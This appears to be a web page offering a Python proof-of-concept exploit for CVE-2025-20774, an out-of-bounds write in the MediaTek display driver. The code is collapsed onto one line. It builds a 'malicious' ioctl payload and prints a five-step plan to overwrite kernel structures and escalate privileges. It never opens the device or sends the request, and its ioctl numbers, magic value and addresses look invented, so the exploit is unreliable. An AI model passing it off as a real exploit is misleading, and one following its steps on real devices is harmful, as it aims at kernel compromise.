MediaTek display组件越界写入本地权限提升漏洞(CVE-2025-20774)

# CVE-2025-20774 PoC - MediaTek Display OOB Write # This PoC demonstrates the vulnerability in MediaTek display component # Note: Requires System-level privileges to exploit import os import struct def trigger_display_oob_write(): """ Trigger the out-of-bounds write vulnerability in MediaTek display driver. This PoC requires elevated privileges (System/root access). """ # MediaTek display driver ioctl interface MTK_DISPLAY_IOCTL_BASE = 0x4000 MTK_DISPLAY_SET_BUFFER = MTK_DISPLAY_IOCTL_BASE + 0x01 MTK_DISPLAY_GET_INFO = MTK_DISPLAY_IOCTL_BASE + 0x02 # Malicious buffer configuration - triggers OOB write # The buffer size is set smaller than the data to be written class DisplayBufferConfig: def __init__(self): self.buffer_ptr = 0x10000000 # Kernel buffer address self.buffer_size = 0x100 # Intended buffer size self.data_size = 0x200 # Actual data size (exceeds buffer) self.flags = 0x01 # Craft malicious input to trigger bounds check bypass class MaliciousPayload: def __init__(self): self.magic = 0x4D544B44 # 'MTKD' signature self.cmd = MTK_DISPLAY_SET_BUFFER self.buffer_addr = 0x10000000 self.buffer_size = 0x100 # Small buffer self.data_size = 0x300 # Large data - triggers OOB self.padding = b'\x00' * 0xF8 print("[*] CVE-2025-20774 - MediaTek Display OOB Write PoC") print("[*] Target: MediaTek display driver (Patch: ALPS10196993)") print("[*] Requires: System-level privileges") # Check if running with sufficient privileges if os.geteuid() != 0: print("[-] Error: This exploit requires root privileges") print("[-] The vulnerability allows privilege escalation from System to higher privileges") return False print("[+] Running with elevated privileges") print("[*] Crafting malicious display buffer request...") payload = MaliciousPayload() payload_bytes = struct.pack('<I', payload.magic) payload_bytes += struct.pack('<I', payload.cmd) payload_bytes += struct.pack('<Q', payload.buffer_addr) payload_bytes += struct.pack('<I', payload.buffer_size) payload_bytes += struct.pack('<I', payload.data_size) payload_bytes += payload.padding # The vulnerability: data_size > buffer_size without proper check # This causes write beyond allocated buffer boundary print(f"[+] Buffer size: 0x{payload.buffer_size:02X}") print(f"[+] Data size: 0x{payload.data_size:02X}") print(f"[+] Overflow size: 0x{payload.data_size - payload.buffer_size:02X}") # In real exploitation: # 1. Open /dev/mtk_disp device # 2. Send crafted ioctl with malicious buffer config # 3. Trigger kernel code execution via arbitrary write # 4. Escalate privileges print("\n[*] Exploitation steps:") print(" 1. Open display driver device (/dev/mtk_disp)") print(" 2. Send malicious ioctl request") print(" 3. Trigger out-of-bounds write in kernel space") print(" 4. Overwrite security-critical kernel structures") print(" 5. Achieve privilege escalation") print("\n[!] Note: This is a PoC for vulnerability demonstration only") print("[!] Patch ID: ALPS10196993 | Issue ID: MSV-4796") return True if __name__ == "__main__": trigger_display_oob_write()